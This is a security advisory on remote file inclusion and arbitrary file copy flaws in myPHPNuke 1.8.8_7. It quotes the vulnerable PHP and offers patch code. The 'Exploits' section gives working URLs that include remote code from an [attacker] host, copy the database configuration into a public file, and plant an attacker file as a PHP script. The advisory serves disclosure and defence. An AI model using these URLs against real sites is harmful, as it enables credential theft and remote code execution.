myPHPNuke version 1.8.8_7 performs improper variable sanitizing that will inadvertently allow a remote attacker to upload files from another site to the current site.
3a1d3adb28ded0cb43ab4856777f220e3e957aa1f45290d28d02a1d2cd088a90
Informations :
°°°°°°°°°°°°°
Language : PHP
Version : 1.8.8_7
Website : http://www.myphpnuke.com
Problems : - Upload/Copy/Include Files
PHP Code/Location :
°°°°°°°°°°°°°°°°°°°
gallery/displayCategory.php :
------------------------------------------
[...]
<?php
include ("$basepath/imageFunctions.php");
include ("$adminpath/fileFunctions.php");
------------------------------------------
mailattach.php :
-----------------------------------------------------
[...]
<?
OpenTable();
global $attachmentdir;
$attchfile = $attachmentdir.$attach1_name;
if(isset($submit) ) {
if ($attach1_name != "") {
copy("$attach1", $attchfile)
or die("Couldn't copy the file!");
echo "<script> attach();</script>";
} else {
die("No input file specified");
}
echo "<script> attach(); </script>";
} else {
?>
[...]
-----------------------------------------------------
Exploits :
°°°°°°°°
- http://[target]/gallery/displayCategory.php?basepath=http://[attacker]
will include the file :
http://[attacker]/imageFunctions.php
- http://[target]/gallery/displayCategory.php?adminpath=http://[attacker]
will include the file :
http://[attacker]/fileFunctions.php
-
http://[target]/mailattach.php?submit=1&attach1=admin/original/config.php&attach1_name=../DBInfos.txt
will copy the file admin/original/config.php (with DB Informations) into
http://[target]/DBInfos.txt .
-
http://[target]/mailattach.php?submit=1&attach1=http://[attacker]/bad.txt&attach1_name=../bad.php
will copy the file bad.txt into http://[target]/bad.php
- etc...
Solution :
°°°°°°°°°
A patch can be found on http://www.phpsecure.info.
In gallery/displayCategory.php, add before all lines the lines :
-------------------------------------------------------------------
if (isset($_REQUEST["basepath"]) OR isset($_REQUEST["adminpath"])){
die("Patched.");
}
-------------------------------------------------------------------
And in mailattach.php, add just after the lines :
-------------------------
[...]
<?
OpenTable();
global $attachmentdir;
[...]
-------------------------
the lines :
-----------------------------------------------------------------------------------------------------------------------------------------------------------
if (isset($_REQUEST["attach1_type"]) OR isset($_REQUEST["attach1_name"])
OR ereg("/",$attach1) OR ereg("\.\.",$attach1) OR ereg(".php",$attach1_name)
){
die("Patched.");
}
-----------------------------------------------------------------------------------------------------------------------------------------------------------
More Details :
°°°°°°°°°°°°
In french :
http://www.phpsecure.info/v2/tutos/myPHPNuke.txt
frog-m@n (http://www.phpsecure.info)
_________________________________________________________________